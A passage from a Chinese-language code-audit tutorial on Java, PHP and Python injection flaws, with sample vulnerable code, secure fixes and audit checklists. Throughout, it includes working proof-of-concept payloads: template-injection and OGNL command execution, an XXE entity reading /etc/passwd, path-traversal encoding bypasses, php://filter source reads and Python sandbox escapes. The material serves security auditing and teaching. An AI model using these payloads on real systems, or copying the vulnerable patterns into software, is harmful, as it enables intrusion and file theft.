\n\/\/ \u00a0 \u00a0-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
\n\/\/ \u00a0 \u00a0-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
\n```<\/p>\n

3.3 \u6a21\u677f\u6ce8\u5165（SSTI）\u6f0f\u6d1e\u6316\u6398<\/h3>\n

Java \u6a21\u677f\u5f15\u64ce（FreeMarker\u3001Velocity\u3001Thymeleaf）\u82e5\u5c06\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u6a21\u677f
\n\u5185\u5bb9\u6e32\u67d3，\u4f1a\u5bfc\u81f4 SSTI（Server-Side Template Injection）\u3002<\/p>\n

FreeMarker SSTI \u6f0f\u6d1e\u793a\u4f8b：<\/p>\n

```java
\nimport freemarker.template.Configuration;
\nimport freemarker.template.Template;<\/p>\n

@RestController
\npublic class FreemarkerController {<\/p>\n

\u00a0 \u00a0 @GetMapping("\/render")
\n\u00a0 \u00a0 public String render(@RequestParam String templateStr) throws Exception {
\n\u00a0 \u00a0 \u00a0 \u00a0 Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u3011\u7528\u6237\u8f93\u5165\u76f4\u63a5\u4f5c\u4e3a\u6a21\u677f\u5185\u5bb9
\n\u00a0 \u00a0 \u00a0 \u00a0 Template template = new Template("userTpl", templateStr, cfg);
\n\u00a0 \u00a0 \u00a0 \u00a0 StringWriter writer = new StringWriter();
\n\u00a0 \u00a0 \u00a0 \u00a0 template.process(new HashMap<>(), writer);
\n\u00a0 \u00a0 \u00a0 \u00a0 return writer.toString();
\n\u00a0 \u00a0 }
\n}
\n```<\/p>\n

PoC \u5229\u7528（FreeMarker）：<\/p>\n

```
\n<#assign cmd="exec">
\n${"freemarker.template.utility.Execute"?new()("id")}
\n```<\/p>\n

Velocity SSTI PoC：<\/p>\n

```
\n#set($e="exp")
\n#set($c=$e.class.forName("java.lang.Runtime"))
\n#set($m=$c.getMethod("getRuntime",$null))
\n#set($r=$m.invoke($null,$null))
\n#set($cmd=$r.exec("id"))
\n```<\/p>\n

\u5ba1\u8ba1\u8981\u70b9：
\n– \u641c\u7d22 Template\u3001process\u3001Velocity\u3001FreeMarker\u3001getTemplate
\n– \u533a\u5206"\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u6570\u636e"\u4e0e"\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u6a21\u677f"\u2014\u2014\u540e\u8005\u624d\u662f\u6f0f\u6d1e
\n– Thymeleaf \u5173\u6ce8 ~{…} \u7247\u6bb5\u8868\u8fbe\u5f0f\u6ce8\u5165（Prepend\/Fragment Injection）<\/p>\n

3.4 XML \u5916\u90e8\u5b9e\u4f53\u6ce8\u5165（XXE）\u5ba1\u8ba1<\/h3>\n

XXE \u53d1\u751f\u5728 XML \u89e3\u6790\u5668\u672a\u7981\u7528\u5916\u90e8\u5b9e\u4f53\u5f15\u7528\u65f6，\u53ef\u5bfc\u81f4\u6587\u4ef6\u8bfb\u53d6\u3001SSRF\u3001
\n\u62d2\u7edd\u670d\u52a1\u3002\u867d\u7136 XXE \u5df2\u662f\u8001\u8bdd\u9898，\u4f46\u5728 Java \u5ba1\u8ba1\u4e2d\u4ecd\u9ad8\u9891\u51fa\u73b0\u3002<\/p>\n

\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b：<\/p>\n

```java
\nimport javax.xml.parsers.DocumentBuilder;
\nimport javax.xml.parsers.DocumentBuilderFactory;
\nimport org.w3c.dom.Document;<\/p>\n

@RestController
\npublic class XxeController {<\/p>\n

\u00a0 \u00a0 @PostMapping(value = "\/xml", consumes = "application\/xml")
\n\u00a0 \u00a0 public String parseXml(@RequestBody String xml) throws Exception {
\n\u00a0 \u00a0 \u00a0 \u00a0 DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
\n\u00a0 \u00a0 \u00a0 \u00a0 \/\/ \u3010\u6f0f\u6d1e\u3011\u672a\u7981\u7528\u5916\u90e8\u5b9e\u4f53
\n\u00a0 \u00a0 \u00a0 \u00a0 DocumentBuilder builder = factory.newDocumentBuilder();
\n\u00a0 \u00a0 \u00a0 \u00a0 Document doc = builder.parse(new InputSource(new StringReader(xml)));
\n\u00a0 \u00a0 \u00a0 \u00a0 return doc.getDocumentElement().getNodeName();
\n\u00a0 \u00a0 }
\n}
\n```<\/p>\n

PoC \u5229\u7528（\u8bfb\u53d6\u6587\u4ef6）：<\/p>\n

```xml
\n<?xml version="1.0" encoding="UTF-8"?>
\n<!DOCTYPE foo [
\n\u00a0 <!ENTITY xxe SYSTEM "file:\/\/\/etc\/passwd">
\n]>
\n<foo>&xxe;<\/foo>
\n```<\/p>\n

\u5ba1\u8ba1\u8981\u70b9（\u641c\u7d22\u5371\u9669\u89e3\u6790\u5668）：<\/p>\n

```
\n– DocumentBuilderFactory.newInstance()
\n– SAXParserFactory.newInstance()
\n– XMLReaderFactory.createXMLReader()
\n– Unmarshaller.unmarshal()（JAXB）
\n– SAXReader（DOM4j）
\n– XMLInputFactory（StAX）
\n```<\/p>\n

\u5b89\u5168\u4fee\u590d（\u7981\u7528\u5916\u90e8\u5b9e\u4f53）：<\/p>\n

```java
\nDocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
\n\/\/ \u5173\u952e\u9632\u5fa1：\u7981\u7528 DOCTYPE \u4e0e\u5916\u90e8\u5b9e\u4f53
\nfactory.setFeature("http:\/\/apache.org\/xml\/features\/disallow-doctype-decl", true);
\nfactory.setFeature("http:\/\/xml.org\/sax\/features\/external-general-entities", false);
\nfactory.setFeature("http:\/\/xml.org\/sax\/features\/external-parameter-entities", false);
\nfactory.setXIncludeAware(false);
\nfactory.setExpandEntityReferences(false);
\n```<\/p>\n

\u3010\u63d0\u793a\u3011setFeature \u65b9\u6cd5\u5728\u4e0d\u540c\u89e3\u6790\u5668\u5b9e\u73b0\u4e2d feature URI \u4e0d\u540c，\u5efa\u8bae\u5c01\u88c5
\n\u7edf\u4e00\u7684 SafeXmlFactory \u5de5\u5177\u7c7b，\u907f\u514d\u9057\u6f0f\u3002<\/p>\n

3.5 \u8868\u8fbe\u5f0f\u6ce8\u5165\u6f0f\u6d1e\u5ba1\u8ba1（OGNL \/ MVEL \/ Aviator）<\/h3>\n

\u9664 SpEL \u5916，Java \u751f\u6001\u8fd8\u6709 OGNL（Struts2）\u3001MVEL\u3001Aviator \u7b49\u8868\u8fbe\u5f0f\u5f15\u64ce，
\n\u5747\u5b58\u5728\u6ce8\u5165\u98ce\u9669\u3002<\/p>\n

OGNL \u6ce8\u5165\u793a\u4f8b（Struts2 \u7ecf\u5178\u573a\u666f）：<\/p>\n

```java
\nimport ognl.Ognl;
\nimport ognl.OgnlContext;<\/p>\n

\/\/ \u3010\u6f0f\u6d1e\u3011\u7528\u6237\u8f93\u5165\u76f4\u63a5\u4f5c\u4e3a OGNL \u8868\u8fbe\u5f0f
\npublic Object evalOgnl(String expr) throws Exception {
\n\u00a0 \u00a0 OgnlContext context = (OgnlContext) Ognl.createDefaultContext(null);
\n\u00a0 \u00a0 return Ognl.getValue(expr, context, context.getRoot());
\n}
\n```<\/p>\n

OGNL RCE PoC：<\/p>\n

```
\n(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(
\n#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').
\ntoLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','\/c',#cmd}:
\n{'\/bin\/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
\n(#p.redirectErrorStream(true)).(#process=#p.start()))
\n```<\/p>\n

MVEL \u6ce8\u5165\u793a\u4f8b：<\/p>\n

```java
\nimport org.mvel2.MVEL;<\/p>\n

\/\/ \u3010\u6f0f\u6d1e\u3011\u7528\u6237\u8f93\u5165\u4f5c\u4e3a MVEL \u8868\u8fbe\u5f0f
\nObject result = MVEL.eval(userInput);
\n```<\/p>\n

\u5ba1\u8ba1\u8981\u70b9：
\n– \u641c\u7d22 Ognl.getValue\u3001Ognl.parseExpression\u3001MVEL.eval\u3001Aviator.execute
\n– \u68c0\u67e5\u8868\u8fbe\u5f0f\u5185\u5bb9\u662f\u5426\u7528\u6237\u53ef\u63a7
\n– Struts2 \u5386\u53f2\u6f0f\u6d1e（S2-045\/S2-053\/S2-061）\u5173\u6ce8 OGNL \u6ce8\u5165\u70b9<\/p>\n

\u5b89\u5168\u4fee\u590d：
\n– \u907f\u514d\u5c06\u7528\u6237\u8f93\u5165\u4f5c\u4e3a\u8868\u8fbe\u5f0f\u89e3\u6790
\n– Aviator \u53ef\u4f7f\u7528 AviatorEvaluator.execute \u914d\u5408\u767d\u540d\u5355\u51fd\u6570
\n– \u5347\u7ea7 Struts2 \u81f3\u6700\u65b0\u7248\u672c\u5e76\u7981\u7528 OGNL \u52a8\u6001\u8c03\u7528<\/p>\n

\n——————————————————————————–
\n\u56db\u3001PHP \u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218
\n——————————————————————————–<\/h2>\n

PHP \u662f Web \u5b89\u5168\u7684"\u91cd\u707e\u533a"，\u5176\u7075\u6d3b\u7684\u52a8\u6001\u7279\u6027\u4f7f\u5176\u5bb9\u6613\u4ea7\u751f\u5404\u7c7b\u6f0f\u6d1e\u3002
\n\u672c\u8282\u8bb2\u89e3 PHP \u4e2d\u56db\u7c7b\u5178\u578b\u6f0f\u6d1e\u7684\u5ba1\u8ba1\u65b9\u6cd5\u3002<\/p>\n

4.1 \u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u5ba1\u8ba1（eval \/ assert \/ preg_replace）<\/h3>\n

PHP \u4e2d\u5b58\u5728\u591a\u4e2a\u53ef\u6267\u884c\u4ee3\u7801\u7684\u51fd\u6570，\u5ba1\u8ba1\u65f6\u9700\u91cd\u70b9\u5173\u6ce8\u3002<\/p>\n

\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b\u4e00（eval）：<\/p>\n

```php
\n<?php
\n\/\/ \u3010\u6f0f\u6d1e\u3011\u7528\u6237\u8f93\u5165\u88ab\u62fc\u5165 eval
\n$code = $_GET['code'];
\neval("echo " . $code . ";");
\n\/\/ PoC: ?code=phpinfo()
\n\/\/ PoC: ?code=system('id')
\n?>
\n```<\/p>\n

\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b\u4e8c（assert）：<\/p>\n

```php
\n<?php
\n\/\/ \u3010\u6f0f\u6d1e\u3011assert \u5728 PHP 7.2 \u4e4b\u524d\u4f1a\u6267\u884c\u5b57\u7b26\u4e32\u4ee3\u7801
\n$expr = $_POST['expr'];
\nassert($expr);
\n\/\/ PoC: expr=system('whoami')
\n?>
\n```<\/p>\n

\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b\u4e09（preg_replace \/e \u4fee\u9970\u7b26）：<\/p>\n

```php
\n<?php
\n\/\/ \u3010\u6f0f\u6d1e\u3011\/e \u4fee\u9970\u7b26\u5728 PHP 5.5 \u4e4b\u524d\u4f1a\u6267\u884c\u66ff\u6362\u5185\u5bb9\u4e3a\u4ee3\u7801
\n$pattern = $_GET['pattern'];
\n$subject = 'hello world';
\n$result = preg_replace('\/' . $pattern . '\/e', 'system("id")', $subject);
\n\/\/ PoC: pattern=.* \u00a0(\u5c06\u5339\u914d\u5185\u5bb9\u66ff\u6362\u4e3a system("id") \u7684\u6267\u884c\u7ed3\u679c)
\n?>
\n```<\/p>\n

\u5ba1\u8ba1\u8981\u70b9（\u5168\u5c40\u641c\u7d22\u5371\u9669\u51fd\u6570）：<\/p>\n

```
\neval( \u00a0 \u00a0 \u00a0 \u00a0 \u00a0assert( \u00a0 \u00a0 \u00a0 \u00a0 preg_replace(.*\\\\\/e
\ncreate_function( \u00a0call_user_func( \u00a0call_user_func_array(
\nusort( \u00a0 \u00a0 \u00a0 \u00a0 uasort( \u00a0 \u00a0 \u00a0 \u00a0 array_map( \u00a0 \u00a0 \u00a0 array_filter(
\n```<\/p>\n

\u3010\u6ce8\u610f\u3011call_user_func\u3001array_map \u7b49\u56de\u8c03\u51fd\u6570\u82e5\u7b2c\u4e00\u4e2a\u53c2\u6570（\u56de\u8c03\u540d）\u7528\u6237
\n\u53ef\u63a7，\u540c\u6837\u53ef\u5bfc\u81f4\u4ee3\u7801\u6267\u884c\u3002\u5ba1\u8ba1\u65f6\u4e0d\u8981\u53ea\u770b eval\u3002<\/p>\n

\u52a8\u6001\u51fd\u6570\u8c03\u7528\u5ba1\u8ba1：<\/p>\n

```php
\n<?php
\n\/\/ \u3010\u6f0f\u6d1e\u3011\u52a8\u6001\u51fd\u6570\u8c03\u7528，$func \u7528\u6237\u53ef\u63a7
\n$func = $_GET['func'];
\n$arg \u00a0= $_GET['arg'];
\n$func($arg);
\n\/\/ PoC: ?func=system&arg=id
\n?>
\n```<\/p>\n

\u5b89\u5168\u4fee\u590d：<\/p>\n

```php
\n<?php
\n\/\/ \u4f7f\u7528\u767d\u540d\u5355\u9650\u5236\u53ef\u8c03\u7528\u51fd\u6570
\n$allowed = ['strlen', 'strtoupper', 'trim'];
\n$func = $_GET['func'];
\nif (!in_array($func, $allowed, true)) {
\n\u00a0 \u00a0 die('\u975e\u6cd5\u8c03\u7528');
\n}
\n$func($_GET['arg']);
\n?>
\n```<\/p>\n

4.2 \u53d8\u91cf\u8986\u76d6\u6f0f\u6d1e\u5ba1\u8ba1（extract \/ parse_str）<\/h3>\n

PHP \u7684 extract() \u548c parse_str() \u53ef\u5c06\u6570\u7ec4\/\u5b57\u7b26\u4e32\u89e3\u6790\u4e3a\u53d8\u91cf，\u82e5\u5904\u7406\u7528\u6237
\n\u8f93\u5165，\u53ef\u8986\u76d6\u5df2\u6709\u53d8\u91cf，\u5bfc\u81f4\u8ba4\u8bc1\u7ed5\u8fc7\u3001\u903b\u8f91\u6f0f\u6d1e\u3002<\/p>\n

\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b\u4e00（extract \u8986\u76d6\u8ba4\u8bc1\u53d8\u91cf）：<\/p>\n

```php
\n<?php
\n\/\/ \u3010\u6f0f\u6d1e\u3011extract \u5904\u7406\u7528\u6237\u8f93\u5165，\u53ef\u8986\u76d6 $is_admin
\n$is_admin = false;
\nextract($_GET);
\nif ($is_admin) {
\n\u00a0 \u00a0 echo "\u6b22\u8fce\u7ba1\u7406\u5458";
\n\u00a0 \u00a0 \/\/ \u654f\u611f\u64cd\u4f5c…
\n}
\n\/\/ PoC: ?is_admin=1
\n?>
\n```<\/p>\n

\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b\u4e8c（parse_str \u8986\u76d6\u914d\u7f6e）：<\/p>\n

```php
\n<?php
\n\/\/ \u3010\u6f0f\u6d1e\u3011parse_str \u5c06\u67e5\u8be2\u5b57\u7b26\u4e32\u89e3\u6790\u4e3a\u53d8\u91cf
\n$config = ['db_host' => 'localhost', 'debug' => false];
\n$query = $_SERVER['QUERY_STRING'];
\nparse_str($query);
\n\/\/ \u653b\u51fb\u8005\u4f20\u5165 ?config[debug]=1 \u53ef\u8986\u76d6 $config \u6570\u7ec4
\nif ($config['debug']) {
\n\u00a0 \u00a0 phpinfo();
\n}
\n\/\/ PoC: ?config[debug]=1
\n?>
\n```<\/p>\n

\u5ba1\u8ba1\u8981\u70b9：
\n– \u641c\u7d22 extract(\u3001parse_str(
\n– \u68c0\u67e5 extract \u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662f\u5426\u4e3a EXTR_SKIP（\u5b89\u5168\u6a21\u5f0f）
\n– \u68c0\u67e5 parse_str \u662f\u5426\u4f7f\u7528\u4e86\u7b2c\u4e8c\u4e2a\u53c2\u6570（\u7ed1\u5b9a\u5230\u6570\u7ec4\u800c\u975e\u5f53\u524d\u4f5c\u7528\u57df）
\n– \u5173\u6ce8 $$ \u53ef\u53d8\u53d8\u91cf（Variable Variables）\u5bfc\u81f4\u7684\u8986\u76d6<\/p>\n

\u53ef\u53d8\u53d8\u91cf\u6f0f\u6d1e\u793a\u4f8b：<\/p>\n

```php
\n<?php
\n\/\/ \u3010\u6f0f\u6d1e\u3011$$ \u53ef\u53d8\u53d8\u91cf\u8986\u76d6
\nforeach ($_GET as $key => $value) {
\n\u00a0 \u00a0 $$key = $value; \u00a0 \/\/ \u5371\u9669！\u53ef\u8986\u76d6\u4efb\u610f\u53d8\u91cf
\n}
\n\/\/ PoC: ?_SESSION[uid]=1 \u00a0\u8986\u76d6\u4f1a\u8bdd\u53d8\u91cf
\n?>
\n```<\/p>\n

\u5b89\u5168\u4fee\u590d：<\/p>\n

```php
\n<?php
\n\/\/ \u65b9\u6848 1：extract \u4f7f\u7528 EXTR_SKIP，\u4e0d\u8986\u76d6\u5df2\u6709\u53d8\u91cf
\nextract($_GET, EXTR_SKIP);<\/p>\n

\/\/ \u65b9\u6848 2：parse_str \u7ed1\u5b9a\u5230\u6307\u5b9a\u6570\u7ec4
\nparse_str($query, $params);
\n$config = array_merge($defaultConfig, $params);<\/p>\n

\/\/ \u65b9\u6848 3：\u907f\u514d\u53ef\u53d8\u53d8\u91cf，\u663e\u5f0f\u53d6\u503c
\n$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
\n?>
\n```<\/p>\n

\u3010\u8b66\u544a\u3011register_globals \u5df2\u5728 PHP 5.4 \u79fb\u9664，\u4f46 $$ \u53ef\u53d8\u53d8\u91cf\u548c extract
\n\u4ecd\u53ef\u5728\u73b0\u4ee3 PHP \u4e2d\u9020\u6210\u540c\u7b49\u7684\u53d8\u91cf\u8986\u76d6\u5371\u5bb3，\u5ba1\u8ba1\u65f6\u52a1\u5fc5\u8b66\u60d5\u3002<\/p>\n

4.3 \u8def\u5f84\u7a7f\u8d8a\u6f0f\u6d1e\u5ba1\u8ba1<\/h3>\n

\u8def\u5f84\u7a7f\u8d8a（Path Traversal）\u5141\u8bb8\u653b\u51fb\u8005\u901a\u8fc7 ..\/ \u5e8f\u5217\u8bbf\u95ee\u9884\u671f\u76ee\u5f55\u5916\u7684\u6587\u4ef6\u3002
\nPHP \u4e2d\u5e38\u89c1\u4e8e\u6587\u4ef6\u8bfb\u53d6\u3001\u6587\u4ef6\u5305\u542b\u3001\u6587\u4ef6\u5220\u9664\u7b49\u573a\u666f\u3002<\/p>\n

\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b：<\/p>\n

```php
\n<?php
\n\/\/ \u3010\u6f0f\u6d1e\u3011\u672a\u8fc7\u6ee4 ..\/ \u76f4\u63a5\u62fc\u63a5\u6587\u4ef6\u8def\u5f84
\n$file = $_GET['file'];
\n$path = "\/var\/www\/uploads\/" . $file;
\n\/\/ \u653b\u51fb\u8005\u4f20\u5165 ?file=..\/..\/..\/..\/etc\/passwd
\necho file_get_contents($path);
\n?>
\n```<\/p>\n

\u5ba1\u8ba1\u8981\u70b9（\u641c\u7d22\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570）：<\/p>\n

```
\nfile_get_contents( \u00a0 file_put_contents( \u00a0 fopen( \u00a0 \u00a0readfile(
\ninclude( \u00a0require( \u00a0include_once( \u00a0require_once(
\nunlink( \u00a0 copy( \u00a0move_uploaded_file( \u00a0file_exists(
\n```<\/p>\n

PoC \u4e0e\u7ed5\u8fc7\u6280\u5de7：<\/p>\n

```
\n# \u57fa\u7840\u7a7f\u8d8a
\n?file=..\/..\/..\/..\/etc\/passwd<\/p>\n

# \u7f16\u7801\u7ed5\u8fc7（\u5f53\u5b58\u5728\u7b80\u5355\u8fc7\u6ee4\u65f6）
\n?file=..%2f..%2f..%2fetc%2fpasswd \u00a0 \u00a0 \u00a0 \u00a0# URL\u7f16\u7801
\n?file=….\/\/….\/\/etc\/passwd \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0# \u53cc\u5199\u7ed5\u8fc7\u5355\u6b21\u66ff\u6362
\n?file=..%252f..%252fetc%252fpasswd \u00a0 \u00a0 \u00a0 \u00a0# \u4e8c\u6b21URL\u7f16\u7801
\n?file=php:\/\/filter\/convert.base64-encode\/resource=config.php \u00a0# \u4f2a\u534f\u8bae
\n```<\/p>\n

\u5b89\u5168\u4fee\u590d：<\/p>\n

```php
\n<?php
\n$file = $_GET['file'];
\n$path = realpath("\/var\/www\/uploads\/" . $file);<\/p>\n

\/\/ \u65b9\u6848 1：realpath \u6821\u9a8c + \u76ee\u5f55\u524d\u7f00\u68c0\u67e5
\n$base = realpath("\/var\/www\/uploads\/");
\nif ($path === false || strpos($path, $base) !== 0) {
\n\u00a0 \u00a0 die('\u975e\u6cd5\u8def\u5f84');
\n}
\necho file_get_contents($path);<\/p>\n

\/\/ \u65b9\u6848 2：basename \u53d6\u6587\u4ef6\u540d（\u53bb\u6389\u76ee\u5f55\u90e8\u5206）
\n$safeName = basename($file);
\necho file_get_contents("\/var\/www\/uploads\/" . $safeName);
\n?>
\n```<\/p>\n

\u3010\u63d0\u793a\u3011realpath \u4f1a\u89e3\u6790\u7b26\u53f7\u94fe\u63a5，\u662f\u9632\u5fa1\u8def\u5f84\u7a7f\u8d8a\u6700\u53ef\u9760\u7684\u65b9\u6cd5\u4e4b\u4e00，\u4f46
\n\u9700\u6ce8\u610f\u5176\u8fd4\u56de false \u7684\u60c5\u51b5（\u6587\u4ef6\u4e0d\u5b58\u5728）\u3002<\/p>\n

4.4 \u4efb\u610f\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u5ba1\u8ba1<\/h3>\n

PHP \u7684 include\/require \u53ef\u52a8\u6001\u5305\u542b\u6587\u4ef6，\u82e5\u53c2\u6570\u7528\u6237\u53ef\u63a7，\u53ef\u5bfc\u81f4：
\n– \u8bfb\u53d6\u4efb\u610f PHP \u6587\u4ef6\u6e90\u7801（\u914d\u5408 php:\/\/filter）
\n– \u6267\u884c\u4efb\u610f\u4ee3\u7801（\u914d\u5408\u8fdc\u7a0b\u5305\u542b\u6216\u65e5\u5fd7\/Session \u6587\u4ef6\u5305\u542b）<\/p>\n

\u6f0f\u6d1e\u4ee3\u7801\u793a\u4f8b：<\/p>\n

```php
\n<?php
\n\/\/ \u3010\u6f0f\u6d1e\u3011\u52a8\u6001\u5305\u542b\u7528\u6237\u53ef\u63a7\u6587\u4ef6
\n$page = $_GET['page'];
\ninclude("\/var\/www\/pages\/" . $page . ".php");
\n\/\/ PoC: ?page=..\/..\/..\/..\/etc\/passwd%00 \u00a0(PHP<5.3.4 \u622a\u65ad)
\n\/\/ PoC: ?page=php:\/\/filter\/convert.base64-encode\/resource=..\/config
\n?>
\n```<\/p>\n

PHP \u4f2a\u534f\u8bae\u5229\u7528\u6c47\u603b：<\/p>\n

| \u4f2a\u534f\u8bae \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u4f5c\u7528 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u5229\u7528\u6761\u4ef6 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |
\n|—————————–|——————————-|————————–|
\n| php:\/\/filter \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u8bfb\u53d6\u6587\u4ef6\u6e90\u7801（base64\u7f16\u7801） \u00a0 \u00a0 | \u65e0\u7279\u6b8a\u6761\u4ef6 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |
\n| php:\/\/input \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u8bfb\u53d6 POST \u539f\u59cb\u6570\u636e \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| allow_url_include=On \u00a0 \u00a0|
\n| data:\/\/ \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u5185\u8054\u6570\u636e\u6267\u884c \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| allow_url_include=On \u00a0 \u00a0|
\n| phar:\/\/ \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u89e6\u53d1 phar \u53cd\u5e8f\u5217\u5316 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| PHP >= 5.3 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|
\n| zip:\/\/ \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u538b\u7f29\u5305\u5185\u6587\u4ef6\u5305\u542b \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| PHP >= 5.3 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0|
\n| expect:\/\/ \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | \u547d\u4ee4\u6267\u884c \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0| \u9700\u5b89\u88c5 expect \u6269\u5c55 \u00a0 \u00a0 \u00a0 |<\/p>\n

\u5ba1\u8ba1\u8981\u70b9：
\n– \u641c\u7d22 include(\u3001require(\u3001include_once(\u3001require_once(
\n– \u68c0\u67e5\u53c2\u6570\u662f\u5426\u6765\u81ea\u7528\u6237\u8f93\u5165
\n– \u68c0\u67e5\u662f\u5426\u5f00\u542f\u4e86 allow_url_include \/ allow_url_fopen
\n– \u5173\u6ce8 %00 \u622a\u65ad（PHP < 5.3.4）\u548c\u8def\u5f84\u957f\u5ea6\u622a\u65ad（Windows 240 \u5b57\u7b26）<\/p>\n

\u5b89\u5168\u4fee\u590d：<\/p>\n

```php
\n<?php
\n\/\/ \u767d\u540d\u5355\u65b9\u5f0f，\u6700\u5b89\u5168
\n$allowedPages = ['index', 'about', 'contact'];
\n$page = $_GET['page'];
\nif (!in_array($page, $allowedPages, true)) {
\n\u00a0 \u00a0 $page = 'index';
\n}
\ninclude("\/var\/www\/pages\/" . $page . ".php");
\n?>
\n```<\/p>\n

\n——————————————————————————–
\n\u4e94\u3001Python \u4ee3\u7801\u5ba1\u8ba1\u5b9e\u6218
\n——————————————————————————–<\/h2>\n

Python \u56e0\u5176\u7b80\u6d01\u8bed\u6cd5\u548c\u5f3a\u5927\u52a8\u6001\u7279\u6027，\u5728 Web \u5f00\u53d1\u4e0e AI \u9886\u57df\u5e7f\u6cdb\u4f7f\u7528，\u5176
\n\u4ee3\u7801\u5ba1\u8ba1\u540c\u6837\u6709\u72ec\u7279\u7684\u5173\u6ce8\u70b9\u3002\u672c\u8282\u8bb2\u89e3\u4e09\u5927\u5178\u578b Python \u6f0f\u6d1e\u3002<\/p>\n

5.1 \u6c99\u7bb1\u9003\u9038\u6280\u5de7<\/h3>\n

Python \u6c99\u7bb1（Sandbox）\u901a\u5e38\u901a\u8fc7\u5220\u9664\u5371\u9669\u51fd\u6570\u3001\u9650\u5236\u5185\u5efa\u6a21\u5757\u6765"\u9694\u79bb"\u4ee3\u7801
\n\u6267\u884c\u3002\u4f46 Python \u5f3a\u5927\u7684\u53cd\u5c04\u673a\u5236\u4f7f\u5f97\u6c99\u7bb1\u9003\u9038\u6210\u4e3a\u53ef\u80fd\u3002<\/p>\n

\u5e38\u89c1\u6c99\u7bb1\u9650\u5236\u65b9\u5f0f：<\/p>\n

```python
\n# \u9650\u5236\u65b9\u5f0f 1：\u5220\u9664\u5371\u9669\u5185\u5efa\u51fd\u6570
\ndel __builtins__.__dict__['__import__']
\ndel __builtins__.__dict__['eval']
\ndel __builtins__.__dict__['exec']<\/p>\n

# \u9650\u5236\u65b9\u5f0f 2：\u66ff\u6362\u5185\u5efa\u4e3a\u7a7a\u5b57\u5178
\n__builtins__ = {}<\/p>\n

# \u9650\u5236\u65b9\u5f0f 3：AST \u89e3\u6790\u9ed1\u540d\u5355（\u7981\u6b62 Import\/Call \u7b49\u8282\u70b9）
\n```<\/p>\n

\u6c99\u7bb1\u9003\u9038\u6280\u5de7\u4e00：\u901a\u8fc7\u5b50\u7c7b\u94fe\u83b7\u53d6\u5371\u9669\u7c7b<\/p>\n

```python
\n# \u5229\u7528 object.__subclasses__() \u627e\u5230\u53ef\u7528\u7c7b
\n# \u4f8b\u5982\u627e\u5230 warnings.catch_warnings，\u5176\u5185\u90e8\u5f15\u7528\u4e86 linecache，
\n# linecache \u53c8\u5f15\u7528\u4e86 os \u6a21\u5757<\/p>\n

().__class__.__bases__[0].__subclasses__()
\n# \u904d\u5386\u5b50\u7c7b\u5217\u8868，\u627e\u5230\u5305\u542b os \u6a21\u5757\u7684\u7c7b
\nfor cls in ().__class__.__bases__[0].__subclasses__():
\n\u00a0 \u00a0 if 'catch_warnings' in cls.__name__:
\n\u00a0 \u00a0 \u00a0 \u00a0 cls.__init__.__globals__['linecache'].__dict__['os'].system('id')
\n\u00a0 \u00a0 \u00a0 \u00a0 break
\n```<\/p>\n

\u6c99\u7bb1\u9003\u9038\u6280\u5de7\u4e8c：\u901a\u8fc7\u5df2\u52a0\u8f7d\u6a21\u5757\u83b7\u53d6 os<\/p>\n

```python
\n# \u4ece\u4efb\u610f\u5df2\u52a0\u8f7d\u6a21\u5757\u7684 __globals__ \u4e2d\u83b7\u53d6 os
\n[c for c in ().__class__.__base__.__subclasses__()
\n\u00a0if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('whoami')
\n```<\/p>\n

